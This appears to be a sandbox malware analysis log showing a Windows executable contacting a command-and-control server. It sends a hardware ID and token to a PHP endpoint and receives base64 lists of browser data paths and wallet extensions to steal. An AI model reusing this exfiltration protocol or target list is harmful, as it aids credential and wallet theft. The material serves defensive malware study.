Oct 20, 2024 21:16:17.841823101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.841825962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.841835976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.841840982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.841846943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.841859102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.841865063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.841881990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.841897011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.912451982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.917366028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254329920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254340887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254354000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254359961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254365921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254371881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254379034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254420042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254426003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254431009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254456997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.254517078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254523039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254534960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254540920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254553080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.254586935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.254586935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.254841089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.254959106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255151987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255179882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255321980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255332947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255345106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255351067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255362988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255369902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255377054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255379915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255409956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255445957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255451918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255465984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255470991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255476952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255484104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255485058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255502939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255587101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255594969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255599976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255610943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255616903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255623102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255635023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255652905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255687952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255687952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255898952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255906105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255925894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255934000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255939960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255944967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255950928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255956888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255963087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255964041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.255968094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255981922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255986929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.255997896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256004095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256011009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256012917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256012917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256052017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256052971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256139040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256146908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256151915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256325006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256330967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256335020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256344080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256351948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256357908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256365061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256371021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256376028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256377935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256381035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256387949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256400108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256405115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256411076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256411076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256417990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256423950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256443977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256443977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256520033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:18.256539106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256546021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:18.256854057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:19.336782932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:19.336854935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:19.542844057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:19.542854071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:20.381081104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:20.381155014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:20.571404934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:20.576423883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:20.916030884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:20.916050911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:20.916064978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:20.916119099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:20.916193008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:20.919450045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:20.924248934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:21.263530016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:21.263875008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:21.288269043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:21.295300007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.130248070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.131038904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.167054892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.173749924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517574072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517616987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517627954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517647028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517679930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517702103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517712116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517721891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517740011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517759085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517784119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517800093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517807007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517834902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517851114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517860889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517862082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517874956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517884970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517918110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.517950058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:22.517997980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.520667076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:22.526670933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:23.364484072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:23.364670992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:27.710757971 CEST	49711	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	185.215.113.37	80	5948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 21:16:03.426696062 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 21:16:04.562958002 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:04.572371960 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 30 45 34 37 45 34 43 44 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="hwid"7D0E47E4CD7B1953448019------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="build"doma------JECBGCFHCFIDHIDHDGDG--
Oct 20, 2024 21:16:04.934974909 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:04 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 4d 7a 4f 57 49 79 5a 6d 4d 32 4e 54 5a 69 4e 44 6b 78 4e 32 59 78 4f 47 52 68 4e 32 51 31 4e 44 64 6b 4d 6a 63 79 59 7a 56 6d 5a 6a 5a 68 4f 57 56 6a 5a 6a 51 77 4d 57 55 34 4d 54 5a 68 4e 6a 6c 6c 59 6d 49 31 5a 6a 67 79 4e 32 45 78 4e 7a 42 6c 4d 6d 45 32 4f 44 6b 33 5a 54 63 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzMzOWIyZmM2NTZiNDkxN2YxOGRhN2Q1NDdkMjcyYzVmZjZhOWVjZjQwMWU4MTZhNjllYmI1ZjgyN2ExNzBlMmE2ODk3ZTczfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 20, 2024 21:16:04.936489105 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"browsers------BAECFHJEBAAFIEBGHIIE--
Oct 20, 2024 21:16:05.280689955 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 20, 2024 21:16:05.280751944 CEST	212	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3Bl
Oct 20, 2024 21:16:05.280797005 CEST	300	IN	Data Raw: 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 31 76 65 6d 6c 73 62 47 45 67 52 6d 6c 79 5a 57 5a 76 65 48 78 63 54 57 39 36 61 57 78 73 59 56 78 47 61 58 4a 6c 5a 6d 39 34 58 46 42 79 62 32 5a 70 62 47 56 7a 66 47 5a 70 63 6d 56 6d 62 33 Data Ascii: cmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN8ZmlyZWZveHwwfE9wZXJhIENyeXB0byBTdGFibGV8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfG9wZXJhLmV4ZXxUaHV
Oct 20, 2024 21:16:05.282280922 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBK Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="message"plugins------EGHCAKKEGCAAFHJJJDBK--
Oct 20, 2024 21:16:05.626646996 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 